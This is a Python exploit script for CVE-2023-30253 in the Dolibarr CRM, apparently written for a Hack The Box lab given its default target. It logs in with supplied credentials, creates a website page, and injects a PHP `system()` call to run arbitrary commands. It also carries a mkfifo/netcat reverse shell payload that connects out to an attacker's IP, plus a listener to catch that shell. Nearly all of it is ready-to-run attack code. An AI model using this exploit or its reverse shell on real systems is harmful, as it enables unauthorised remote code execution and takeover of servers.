README.md
Rendering markdown...
import requests
from bs4 import BeautifulSoup
from datetime import datetime
import re
from pwn import *
from colorama import init, Fore, Style
import argparse
import pyfiglet
init()
context.log_level = 'info'
logger = log
def log_message(text, log_type="info"):
try:
if log_type == "info":
logger.info(text)
elif log_type == "success":
logger.success(f"{Fore.GREEN}{text}{Style.RESET_ALL}")
elif log_type == "error":
logger.failure(f"{Fore.RED}{text}{Style.RESET_ALL}")
elif log_type == "progress":
logger.info(f"{Fore.YELLOW}{text}{Style.RESET_ALL}")
else:
logger.info(text)
except Exception as e:
print(f"Error al registrar el mensaje: {e}")
class CVE_2023_30253:
def __init__(self,url,user,password):
self.session = requests.Session()
self.url=url
self.user = user
self.password= password
self.token=""
self.pageid=""
self.website="test123"
self.headers = {
"Origin": url,
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Windows NT 11.0; Win64; rv:122.0) Gecko/20100101 Firefox/122.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Referer": url,
}
def get_token_CSRF(self,url):
try:
response = self.session.get(url)
soup = BeautifulSoup(response.text, 'html.parser')
csrf_token = soup.find('meta', attrs={'name': 'anti-csrf-newtoken'})
if csrf_token:
return csrf_token.get('content')
else:
return None
except Exception as e:
log_message(f"{Fore.RED}get_token_CSRF Error: {e}{Style.RESET_ALL}","error")
return None
def get_page_id(self):
url = f"{self.url}/website/index.php"
response = self.session.get(url)
soup = BeautifulSoup(response.text, 'html.parser')
pageid_link = soup.find('a', href=re.compile(r'pageid=(\d+)'))
if pageid_link:
pageid_match = re.search(r'pageid=(\d+)', pageid_link['href'])
if pageid_match:
self.pageid = pageid_match.group(1)
else:
log_message(f"{Fore.RED}[-] Error getting the page Id\nAborting..{Style.RESET_ALL}","error")
exit(1)
def login(self):
try:
url = f"{self.url}/admin/index.php"
log_message(f"Verifying accessibility of URL:{url}","progress")
if((requests.get(url,timeout=4).status_code) != 200):
log_message("Error: Unable to access URL.","error")
log_message(f"Attempting login to {url} as {self.user}","progress")
self.token =self.get_token_CSRF(url)
data = {
"token": self.token,
"actionlogin": "login",
"loginfunction": "loginfunction",
"backtopage": "",
"tz": "-6",
"tz_string": "America/Mexico_City",
"dst_observed": "0",
"dst_first": "",
"dst_second": "",
"screenwidth": "628",
"screenheight": "608",
"dol_hide_topmenu": "",
"dol_hide_leftmenu": "",
"dol_optimize_smallscreen": "",
"dol_no_mouse_hover": "",
"dol_use_jmobile": "",
"username": self.user,
"password": self.password
}
response = self.session.post(url, headers=self.headers, data=data)
if(response.status_code == 200):
if not "Bad value for login or password" in response.text:
log_message("Login successfully!","success")
return True
else:
log_message("Login failed.","error")
exit(1)
else:
log_message(f"Error in the request\nAborting..","error")
exit(1)
except Exception as e:
log_message(f"login Error:{e}","error")
return False
def create_website(self):
url = f"{self.url}/website/index.php"
self.session.headers.update({
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundary0TYAB8bzZ1DiVwez"
})
log_message(f"Creating web site ...","progress")
try:
data = {
"token": self.token,
"backtopage": "",
"dol_openinpopup": "",
"action": "addsite",
"website": "-1",
"WEBSITE_REF": self.website,
"WEBSITE_LANG": "en",
"WEBSITE_OTHERLANG": "",
"WEBSITE_DESCRIPTION": "test",
"virtualhost": "http://localhost",
"addcontainer": "Create"
}
response = self.session.post(url, data=data,headers=self.headers)
if response.status_code == 200:
if self.website in response.text:
log_message("Web site was create successfully!","success")
return True
else:
log_message("SOME ERROR WAS FOUND CREATING THE WEB SITE..","error")
except Exception as e:
log_message(f"create_website error {e}","error")
return False
def create_page(self):
url = f"{self.url}/website/index.php"
log_message(f"Creating web page ...","progress")
self.session.headers.update({
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryNy4GtqU6jty4Aoi4"
})
now = datetime.now()
date_creation = now.strftime("%m/%d/%Y %H:%M:%S")
data = {
"token": self.token,
"backtopage": "",
"dol_openinpopup": "",
"action": "addcontainer",
"website": self.website,
"pageidbis": "-1",
"pageid": "1",
"radiocreatefrom": "checkboxcreatemanually",
"WEBSITE_TYPE_CONTAINER": "page",
"sample": "empty",
"WEBSITE_TITLE": "test",
"WEBSITE_PAGENAME": "test",
"WEBSITE_LANG": "en",
"datecreation": date_creation,
"datecreationday": now.day,
"datecreationmonth": now.month,
"datecreationyear": now.year,
"datecreationhour": now.hour,
"datecreationmin": now.minute,
"datecreationsec": now.second,
"addcontainer": "Create",
"externalurl": "",
"grabimages": "1",
"grabimagesinto": "root"
}
response = self.session.post(url, data=data,headers=self.headers)
if response.status_code == 200:
if self.website in response.text:
log_message("Web page was create successfully!","success")
return True
else:
log_message("SOME ERROR WAS FOUND CREATING THE WEB PAGE..","error")
exit(1)
return False
def generate_payload(self, payload ):
url = f"{self.url}/website/index.php"
page_content=f'''<section id="mysection1" contenteditable="true"><?PHP system("{payload}"); ?></section>'''
log_message(f"Executing command {payload}","progress")
self.get_page_id()
data = {
"token": self.token,
"backtopage": "",
"dol_openinpopup": "",
"action": "updatesource",
"website": self.website,
"pageid": self.pageid,
"update": "Save",
"PAGE_CONTENT_x": "8",
"PAGE_CONTENT_y": "2",
"PAGE_CONTENT": page_content
}
response = self.session.post(url, data=data,headers=self.headers)
self.enable_dynamic_content()
if(response.status_code == 200):
#log.info(f"{Fore.GREEN}[+]Execute exploit :){Style.RESET_ALL}")
response = self.session.get(url,headers=self.headers)
soup = BeautifulSoup(response.text, 'html.parser')
mysection = soup.find('section', id='mysection1')
content = mysection.get_text(strip=True)
log.success(f"{Fore.MAGENTA}Command execution successful {Style.RESET_ALL}:\n{content}")
log_message("Information retrieved successfully!","success")
return True
return False
def enable_dynamic_content(self):
# Parámetros de la consulta
params = {
'website': self.website,
'pageid': self.pageid,
'action': 'setshowsubcontainers',
'token': self.token
}
url = f"{self.url}/website/index.php"
try:
response = self.session.get(url, headers=self.headers, params=params)
response.raise_for_status()
except requests.exceptions.RequestException as e:
log_message(f"An error occurred: {e}","error")
def initials_step(self):
if self.login() and self.create_website() and self.create_page():
return True
return False
def execute_command(self,cmd):
self.generate_payload(cmd)
def arguments():
parser = argparse.ArgumentParser(description="Argument parser")
parser.add_argument("--url", default="http://crm.board.htb", help="URL of the website")
parser.add_argument("-u","--user", default="admin", help="Username")
parser.add_argument("-p","--password", default="admin", help="Password")
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument("-c","--command", help="Command to execute")
group.add_argument("-r" ,"--reverseshell", nargs=2, metavar=("ip", "port"), help="Reverse shell IP and port")
args = parser.parse_args()
log_message(f"{Fore.BLUE}Url{Style.RESET_ALL}: {args.url}")
log_message(f"{Fore.BLUE}User{Style.RESET_ALL}: {args.user}")
log_message(f"{Fore.BLUE}Password{Style.RESET_ALL}: {args.password}")
if args.command:
log_message(f"{Fore.BLUE}Command{Style.RESET_ALL}: {args.command}")
else:
log_message(f"{Fore.BLUE}Reverseshell info{Style.RESET_ALL}:{Fore.GREEN}\n\tIP{Style.RESET_ALL}:{args.reverseshell[0]}{Fore.GREEN}\n\tPORT{Style.RESET_ALL}:{args.reverseshell[1]}")
return args
def initial_listener(port):
shell = listen(port, timeout=20).wait_for_connection()
shell.interactive()
def main():
print(f"{Fore.CYAN}{pyfiglet.figlet_format('CVE', font='isometric1')}{Style.RESET_ALL}")
print(f"{Fore.CYAN}{pyfiglet.figlet_format('2023-30253', font='small')}{Style.RESET_ALL}")
log_message("By Rubikcuv5.\n","success")
args = arguments()
cve_2023_30253 = CVE_2023_30253(args.url,args.user,args.password)
if(cve_2023_30253.initials_step()):
if(args.command):
cve_2023_30253.execute_command(args.command)
else:
#YOUR PAYLOAD REVSHELL HERE!!!
payload=f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc {args.reverseshell[0]} {args.reverseshell[1]} >/tmp/f"
try:
threading.Thread(target=initial_listener, args=(args.reverseshell[1],)).start()
cve_2023_30253.execute_command(payload)
except Exception as e:
log_message(f"{Fore.RED}{str(e)}{Style.RESET_ALL}","error")
if __name__ == '__main__':
main()